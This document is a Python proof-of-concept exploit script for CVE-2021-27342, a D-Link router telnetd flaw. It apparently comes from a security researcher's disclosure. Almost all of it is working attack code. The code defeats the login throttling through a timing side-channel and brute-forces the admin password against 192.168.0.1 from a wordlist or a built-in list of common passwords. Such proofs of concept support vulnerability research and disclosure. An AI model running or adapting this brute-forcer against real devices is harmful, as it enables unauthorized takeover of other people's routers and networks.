# # Exploit for D-Link telnetd vulnerability # # Exploit bypasses current authentication throttling mechanism via timing side-channel # Effectively allows waiting < 0.1 seconds between brute-force requests instead of 3 seconds # Author: Guy Levin / @whtaguy / https://whtaguy.com # # CVE-2021-27342 # # critical import socket import time import sys # convenience (can delete import and usage in code) from progressbar import ProgressBar DEBUG_STATUS = False DEBUG_RECV = False DEBUG_FINAL_RECV = False def recv_until(s, ending): if DEBUG_RECV: print("waiting for", ending) b = "" while not b.endswith(ending): if DEBUG_RECV: print(time.asctime(), "b:", b) b += s.recv(1) if DEBUG_RECV: print("returning b:", b) return b def telnet_login(ip, port, passwd, invalid_auth_timeout=0.07): # might need to adjust invalid_auth_timeout according to network lag s = socket.socket() s.connect((ip, port)) # idk telnet things recv_until(s, "fffd01fffd1ffffb01fffb03".decode("hex")) s.sendall("fffb01".decode("hex")) if DEBUG_STATUS: print("done init") recv_until(s, "dlinkrouter login: ") s.sendall("admin\r\n") recv_until(s, "admin\r\n") if DEBUG_STATUS: print("done uname") recv_until(s, "Password: ") s.sendall(passwd + "\r\n") if DEBUG_STATUS: print("done passwd") # send on good & bad auth attempt recv_until(s, "\r\n") # if immediately get "W" (first char of "Welcome ..."), then we know auth is good. # else, bad auth s.settimeout(invalid_auth_timeout) recvd = "" try: recvd += s.recv(0x10) except socket.timeout as e: if DEBUG_FINAL_RECV: print("recvd:", recvd) correct_pass = False else: if DEBUG_FINAL_RECV: print("recvd:", recvd) correct_pass = True s.close() return correct_pass def brute_force_login(wordlist, ip="192.168.0.1", port=23): print("Starting password brute-force") pbar = ProgressBar() password_found = "" for word in pbar(wordlist): if word[-1] == "\n": word = word[:-1] if telnet_login(ip, port, word): password_found = word pbar.finish() break if password_found: print("Brute-force success!") print("Username: admin") print("Password: " + password_found) else: print("Brute-force failed. Try changing the wordlist.") return password_found def main(): if len(sys.argv) == 2: wordlist = open(sys.argv[1], "r").readlines() else: # use simple demo wordlist print("using dumb demo wordlist") wordlist = ["123456", "12345", "123456789", "password", "iloveyou", "princess", "1234567", "rockyou", "12345678", "abc123", "nicole", "daniel", "babygirl", "monkey", "lovely" ] if brute_force_login(wordlist): return 0 # exit_success else: return 1 # exit_fail if __name__ == '__main__': main()